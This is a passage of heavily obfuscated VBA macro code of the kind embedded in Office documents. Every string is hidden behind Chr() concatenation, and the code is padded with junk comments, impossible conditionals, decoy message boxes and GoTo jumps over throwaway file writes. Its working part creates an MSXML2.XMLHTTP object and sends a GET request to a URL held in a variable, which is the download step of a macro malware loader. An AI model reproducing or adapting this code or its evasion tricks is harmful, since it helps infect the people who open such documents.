- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 4412 < 47 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(117) & Chr(116) & Chr(119) & Chr(112) & Chr(119) & Chr(110) & Chr(112) & Chr(111) & Chr(54) & Chr(56))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(98) & Chr(110) & Chr(104) & Chr(107) & Chr(110) & Chr(105) & Chr(117) & Chr(104) & Chr(53) & Chr(50) & Chr(54) & Chr(50)) = Len(Chr(105) & Chr(103) & Chr(99) & Chr(102) & Chr(99) & Chr(98) & Chr(108) & Chr(103)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #29
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 836356 = 836356 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3964 < 85 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(102) & Chr(104) & Chr(118) & Chr(112) & Chr(110) & Chr(120) & Chr(112) & Chr(104) & Chr(57) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(114) & Chr(98) & Chr(98) & Chr(107) & Chr(122) & Chr(121) & Chr(110) & Chr(98) & Chr(54) & Chr(50) & Chr(51) & Chr(55)) = Len(Chr(121) & Chr(114) & Chr(101) & Chr(114) & Chr(112) & Chr(114) & Chr(98) & Chr(116)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- hsgzhsmu:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 822118 = 822118 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 2276 < 15 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(106) & Chr(120) & Chr(116) & Chr(114) & Chr(100) & Chr(109) & Chr(104) & Chr(118) & Chr(51) & Chr(54))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(118) & Chr(115) & Chr(111) & Chr(101) & Chr(120) & Chr(100) & Chr(115) & Chr(106) & Chr(51) & Chr(49) & Chr(51) & Chr(54)) = Len(Chr(108) & Chr(116) & Chr(105) & Chr(111) & Chr(103) & Chr(108) & Chr(110) & Chr(116)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Set ocpvmgeelcx = CreateObject(Chr(109) & Chr(115) & Chr(120) & Chr(109) & Chr(108) & Chr(50) & Chr(46) & Chr(120) & Chr(109) & Chr(108) & Chr(104) & Chr(116) & Chr(116) & Chr(112))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- ocpvmgeelcx.Open Chr(71) & Chr(69) & Chr(84), ejckdfuqggu, False
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo fkgnbngl
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim lfxwswys As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(83) & Chr(84) & Chr(90) & Chr(87) & Chr(78) & Chr(73) & Chr(46) & Chr(83) & Chr(90) & Chr(69) For Binary As 37
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 557928 = 557928 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3963 < 85 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(119) & Chr(98) & Chr(101) & Chr(102) & Chr(116) & Chr(111) & Chr(110) & Chr(103) & Chr(52) & Chr(55))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(114) & Chr(98) & Chr(110) & Chr(102) & Chr(106) & Chr(98) & Chr(114) & Chr(116) & Chr(54) & Chr(50) & Chr(51) & Chr(54)) = Len(Chr(121) & Chr(101) & Chr(101) & Chr(110) & Chr(110) & Chr(99) & Chr(114) & Chr(115)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #37, , lfxwswys
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 347236 = 347236 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3113 < 34 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(122) & Chr(100) & Chr(120) & Chr(106) & Chr(122) & Chr(101) & Chr(101) & Chr(103) & Chr(55) & Chr(56))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(105) & Chr(122) & Chr(110) & Chr(103) & Chr(113) & Chr(99) & Chr(98) & Chr(117) & Chr(52) & Chr(56) & Chr(54) & Chr(52)) = Len(Chr(101) & Chr(120) & Chr(118) & Chr(109) & Chr(114) & Chr(122) & Chr(100) & Chr(109)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #37
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 979162 = 979162 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3491 < 99 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(108) & Chr(102) & Chr(103) & Chr(120) & Chr(102) & Chr(103) & Chr(103) & Chr(116) & Chr(56) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(111) & Chr(98) & Chr(104) & Chr(114) & Chr(104) & Chr(118) & Chr(114) & Chr(102) & Chr(52) & Chr(51) & Chr(52) & Chr(50)) = Len(Chr(113) & Chr(122) & Chr(108) & Chr(106) & Chr(99) & Chr(120) & Chr(114) & Chr(109)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- fkgnbngl:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 634598 = 634598 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7877 < 96 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(109) & Chr(116) & Chr(114) & Chr(112) & Chr(108) & Chr(103) & Chr(110) & Chr(104) & Chr(49) & Chr(55))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(97) & Chr(119) & Chr(105) & Chr(111) & Chr(97) & Chr(117) & Chr(120) & Chr(111) & Chr(49) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(120) & Chr(102) & Chr(117) & Chr(102) & Chr(109) & Chr(100) & Chr(111) & Chr(120)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- ocpvmgeelcx.send
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Do While ocpvmgeelcx.readystate <> 4
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo uqwnmpen
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim dyemutmj As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(79) & Chr(65) & Chr(84) & Chr(73) & Chr(67) & Chr(68) & Chr(46) & Chr(75) & Chr(76) & Chr(82) For Binary As 25
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 881643 = 881643 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 2516 < 71 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(111) & Chr(108) & Chr(109) & Chr(120) & Chr(113) & Chr(121) & Chr(103) & Chr(114) & Chr(56) & Chr(53))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(98) & Chr(114) & Chr(120) & Chr(101) & Chr(100) & Chr(103) & Chr(116) & Chr(100) & Chr(53) & Chr(55) & Chr(55) & Chr(57)) = Len(Chr(97) & Chr(117) & Chr(118) & Chr(106) & Chr(109) & Chr(102) & Chr(114) & Chr(108)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #25, , dyemutmj
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 272254 = 272254 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 9561 < 89 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(100) & Chr(110) & Chr(101) & Chr(113) & Chr(108) & Chr(116) & Chr(101) & Chr(111) & Chr(55) & Chr(50))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(100) & Chr(116) & Chr(122) & Chr(122) & Chr(100) & Chr(116) & Chr(100) & Chr(105) & Chr(51) & Chr(56) & Chr(51) & Chr(52)) = Len(Chr(117) & Chr(118) & Chr(122) & Chr(121) & Chr(121) & Chr(113) & Chr(110) & Chr(119)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #25
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 148677 = 148677 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 1384 < 68 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(119) & Chr(108) & Chr(121) & Chr(110) & Chr(121) & Chr(120) & Chr(120) & Chr(101) & Chr(50) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(108) & Chr(102) & Chr(115) & Chr(106) & Chr(119) & Chr(118) & Chr(99) & Chr(114) & Chr(50) & Chr(49) & Chr(51) & Chr(52)) = Len(Chr(119) & Chr(108) & Chr(104) & Chr(101) & Chr(114) & Chr(120) & Chr(99) & Chr(113)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- uqwnmpen:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 819916 = 819916 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 5858 < 76 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(107) & Chr(102) & Chr(108) & Chr(98) & Chr(110) & Chr(100) & Chr(103) & Chr(106) & Chr(54) & Chr(56))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(108) & Chr(108) & Chr(108) & Chr(104) & Chr(109) & Chr(100) & Chr(98) & Chr(104) & Chr(57) & Chr(49) & Chr(50) & Chr(50)) = Len(Chr(100) & Chr(115) & Chr(106) & Chr(109) & Chr(102) & Chr(108) & Chr(100) & Chr(101)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- DoEvents
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo zgksahqs
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim ipnyfpee As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(89) & Chr(72) & Chr(74) & Chr(70) & Chr(70) & Chr(72) & Chr(46) & Chr(89) & Chr(68) & Chr(74) For Binary As 11
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 439317 = 439317 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 1876 < 74 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(100) & Chr(108) & Chr(113) & Chr(117) & Chr(117) & Chr(113) & Chr(109) & Chr(111) & Chr(50) & Chr(53))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(99) & Chr(108) & Chr(117) & Chr(121) & Chr(108) & Chr(97) & Chr(118) & Chr(98) & Chr(53) & Chr(49) & Chr(52) & Chr(57)) = Len(Chr(98) & Chr(120) & Chr(113) & Chr(108) & Chr(122) & Chr(98) & Chr(118) & Chr(121)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #11, , ipnyfpee
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 763678 = 763678 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 8278 < 76 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(98) & Chr(99) & Chr(97) & Chr(107) & Chr(120) & Chr(97) & Chr(109) & Chr(105) & Chr(50) & Chr(49))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(117) & Chr(100) & Chr(116) & Chr(106) & Chr(116) & Chr(119) & Chr(106) & Chr(98) & Chr(57) & Chr(49) & Chr(50) & Chr(56)) = Len(Chr(97) & Chr(117) & Chr(114) & Chr(119) & Chr(118) & Chr(110) & Chr(114) & Chr(100)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #11
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 529126 = 529126 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 9982 < 55 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(99) & Chr(100) & Chr(100) & Chr(118) & Chr(100) & Chr(116) & Chr(113) & Chr(102) & Chr(52) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(102) & Chr(120) & Chr(102) & Chr(121) & Chr(102) & Chr(102) & Chr(97) & Chr(120) & Chr(49) & Chr(55) & Chr(52) & Chr(50)) = Len(Chr(103) & Chr(97) & Chr(107) & Chr(108) & Chr(120) & Chr(115) & Chr(110) & Chr(122)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- zgksahqs:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 936638 = 936638 + 1 Then End
